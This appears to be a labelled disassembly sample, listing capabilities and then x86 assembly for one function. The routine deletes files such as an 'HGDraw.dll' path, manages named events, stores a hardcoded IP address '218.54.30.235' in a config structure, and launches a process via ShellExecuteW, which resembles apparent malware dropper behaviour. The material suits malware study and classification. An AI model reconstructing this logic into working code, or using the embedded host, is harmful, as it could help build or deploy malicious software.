Function at 0x401565
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe84
mov eax, dword [0x422040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
xor esi, esi
mov edi, 0x206
push edi
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push esi
push eax
mov ebx, ecx
mov dword [ebp - 0xe80], esi
mov dword [ebp - 0xe7c], esi
call fcn.0040c310
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push esi
push eax
call fcn.0040c310
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - 0xc38], ax
lea eax, [ebp - 0xc36]
push esi
push eax
call fcn.0040c310
add esp, 0xc
lea esi, [ebx + 0x5ac]
push esi
lea eax, [ebp - 0xc38]
push 0x104
push eax
call fcn.00409771
add esp, 0xc
push str.HGDraw.dll
lea eax, [ebp - 0xc38]
push 0x104
push eax
call fcn.00409047
add esp, 0xc
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.004097e0
pop ecx
xor eax, eax
push edi
push eax
mov word [ebp - 0xa30], ax
lea eax, [ebp - 0xa2e]
push eax
call fcn.0040c310
add esp, 0xc
push 1
mov ecx, ebx
call fcn.0040109c
mov dword [ebp - 0xe84], eax
test eax, eax
je 0x401894
push esi
mov esi, 0x104
lea eax, [ebp - 0x418]
push esi
push eax
call fcn.00409771
add esp, 0xc
lea eax, [ebx + 0x18c]
push eax
lea eax, [ebp - 0x418]
push esi
push eax
call fcn.00409047
add esp, 0xc
push 0x41dd9c
lea eax, [ebp - 0x418]
push esi
push eax
call fcn.00409047
add esp, 0xc
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
lea esi, [ebx + 0x1ac]
push esi
lea eax, [ebx + 0x58c]
push 0x10
push eax
call fcn.00409771
add esp, 0xc
push ebx
lea edi, [ebp - 0x210]
call fcn.004013c2
mov edx, esi
mov ecx, ebx
call fcn.00401cae
cmp eax, 1
je 0x401c99
xor eax, eax
mov edi, 0x206
push edi
push eax
mov word [ebp - 0x620], ax
lea eax, [ebp - 0x61e]
push eax
call fcn.0040c310
add esp, 0xc
xor eax, eax
push edi
push eax
mov word [ebp - 0xe48], ax
lea eax, [ebp - 0xe46]
push eax
call fcn.0040c310
lea edx, [ebp - 0x620]
add esp, 0xc
mov eax, esi
sub edx, esi
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x401725
lea ecx, [ebp - 0xe48]
sub ecx, esi
movzx eax, word [esi]
mov word [ecx + esi], ax
inc esi
inc esi
test ax, ax
jne 0x40173b
lea edi, [ebp - 0xe48]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x401751
mov esi, 0x41dda8
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x620]
push eax
movsd dword es:[edi], dword [esi]
push 0
push 0x20000
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
test eax, eax
je 0x4017de
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push eax
call esi
lea eax, [ebp - 0xe48]
push eax
xor edi, edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
lea eax, [ebp - 0x620]
push eax
mov dword [ebp - 0xe74], edi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_OpenEventW]
jmp 0x4017d3
cmp dword [ebp - 0xe74], 5
jge 0x4017de
push eax
call esi
inc dword [ebp - 0xe74]
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x620]
push eax
push 0
push 0x20000
call edi
test eax, eax
jne 0x4017ad
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
lea eax, [ebx + 8]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x488]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x401803
lea eax, [ebx + 0x8a]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x408]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x401821
lea eax, [ebx + 0xaa]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x50a]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x40183f
mov ax, word [ebx + 0x88]
mov word [ebx + 0x508], ax
mov ax, word [ebx + 0x12a]
mov word [ebx + 0x58a], ax
mov eax, dword [ebx + 0x1cc]
mov dword [ebx + 0x404], eax
lea eax, [ebx + 0x18c]
push eax
lea eax, [ebx + 0x9bc]
push 0x10
push eax
call fcn.00409771
mov edi, 0x206
jmp 0x401942
push 0x236
lea eax, [ebp - 0xe70]
push 0
push eax
call fcn.0040c310
add esp, 0xc
lea esi, [ebp - 0xe70]
call fcn.00402ce0
mov dword [ebp - 0xe7c], eax
test eax, eax
je 0x401945
lea eax, [ebp - 0xd62]
mov edx, eax
mov ecx, ebx
sub ecx, edx
lea edx, [ecx + 0x408]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4018d5
mov ax, word [ebp - 0xd66]
mov ecx, dword [ebp - 0xd6a]
mov word [ebx + 0x508], ax
mov ax, word [ebp - 0xd6c]
lea esi, [ebx + 0x488]
mov word [ebx + 0x58a], ax
call fcn.00403100
mov ecx, dword [ebp - 0xd70]
lea esi, [ebx + 0x50a]
call fcn.00403100
lea eax, [ebp - 0xd42]
push eax
lea eax, [ebx + 0x58c]
push 0x10
push eax
call fcn.00409771
mov eax, dword [ebp - 0xe68]
mov dword [ebx + 0x404], eax
add esp, 0xc
xor eax, eax
push edi
push eax
mov word [ebp - 0x828], ax
lea eax, [ebp - 0x826]
push eax
call fcn.0040c310
add esp, 0xc
push 0
mov ecx, ebx
call fcn.0040109c
mov dword [ebp - 0xe74], eax
mov esi, 0x41ddb4
test eax, eax
je 0x401a3b
mov ecx, ebx
sub ecx, esi
mov eax, esi
lea edx, [ecx + 0x50a]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x401987
lea eax, [ebx + 0x28a]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x408]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4019a5
lea eax, [ebx + 0x208]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x488]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4019c3
cmp dword [ebx], 3
mov ax, word [ebx + 0x288]
mov word [ebx + 0x508], ax
mov ax, word [ebx + 0x32a]
mov word [ebx + 0x58a], ax
lea eax, [ebp - 0x828]
mov dword [ebx + 0x404], 5
push eax
jne 0x401a0a
call fcn.00401255
jmp 0x401a15
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push 0x41dcc4
lea eax, [ebp - 0x828]
push 0x104
push eax
call fcn.00409047
add esp, 0xc
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
push 0x51
pop eax
mov word [ebx + 0x88], ax
mov eax, 0x2b70
lea edx, [ebx + 0xaa]
sub edx, esi
mov word [ebx + 0x12a], ax
mov dword [ebx + 4], 0x504d534d
mov eax, esi
mov dword [ebp - 0xe78], edx
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x401a68
mov eax, str.218.54.30.235
lea edx, [ebx + 8]
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x401a80
lea edi, [ebx + 0x8a]
mov eax, str.AAAA
mov edx, edi
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x401a9d
xor eax, eax
mov dword [ebx + 0x1cc], 5
cmp dword [ebp - 0xe84], eax
jne 0x401acf
cmp dword [ebp - 0xe7c], eax
jne 0x401acf
cmp dword [ebp - 0xe74], eax
je 0x401b44
lea eax, [ebx + 0x408]
push eax
push 0x10
push edi
call fcn.00409771
add esp, 0xc
lea eax, [ebx + 0x488]
push eax
lea eax, [ebx + 8]
push 0x40
push eax
call fcn.00409771
add esp, 0xc
lea eax, [ebx + 0x50a]
push eax
lea eax, [ebx + 0xaa]
push 0x40
push eax
call fcn.00409771
mov ax, word [ebx + 0x508]
mov word [ebx + 0x88], ax
mov ax, word [ebx + 0x58a]
mov word [ebx + 0x12a], ax
mov eax, dword [ebx + 0x404]
add esp, 0xc
mov dword [ebx + 0x1cc], eax
test eax, eax
jne 0x401b44
mov dword [ebx + 0x1cc], 5
mov eax, esi
movzx ecx, word [eax]
mov edx, dword [ebp - 0xe78]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x401b46
cmp word [ebx + 8], cx
je 0x401c99
cmp word [ebx + 0x88], cx
jbe 0x401c99
lea esi, [ebx + 0x9bc]
mov eax, esi
mov dword [ebx + 4], 0x504d534d
lea edx, [eax + 2]
xor edi, edi
mov cx, word [eax]
inc eax
inc eax
cmp cx, di
jne 0x401b85
sub eax, edx
sar eax, 1
je 0x401bb8
push esi
push edi
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
test eax, eax
je 0x401bb8
push esi
lea eax, [ebx + 0x18c]
push 0x10
push eax
call fcn.00409771
add esp, 0xc
lea esi, [ebx + 0x18c]
cmp word [esi], di
jne 0x401be2
lea eax, [ebp - 0xa30]
push eax
call fcn.00403180
pop ecx
lea eax, [ebp - 0xa30]
push eax
push 0x10
push esi
call fcn.00409771
add esp, 0xc
lea esi, [ebx + 0x1ac]
cmp word [esi], di
jne 0x401c33
lea eax, [ebp - 0xa30]
push eax
call fcn.00403180
pop ecx
lea eax, [ebp - 0xa30]
push eax
push 0x10
push esi
call fcn.00409771
lea ecx, [ebx + 0x58c]
mov eax, ecx
add esp, 0xc
lea edi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x401c17
sub eax, edi
sar eax, 1
je 0x401c33
push ecx
push 0x10
push esi
call fcn.00409771
add esp, 0xc
cmp dword [ebx + 0x1cc], 0
mov dword [ebx + 0x1d0], 0x10002b4
jne 0x401c50
mov dword [ebx + 0x1cc], 5
push ebx
call fcn.0040127c
test eax, eax
je 0x401c99
push ebx
lea edi, [ebp - 0x210]
call fcn.004013c2
mov eax, edi
push eax
lea eax, [ebx + 0x7b4]
call fcn.004032b0
pop ecx
mov ebx, edi
call fcn.00401439
xor esi, esi
inc esi
push esi
xor eax, eax
push eax
push 0x41dce8
mov ecx, edi
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xe80], esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe80]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409038
leave
ret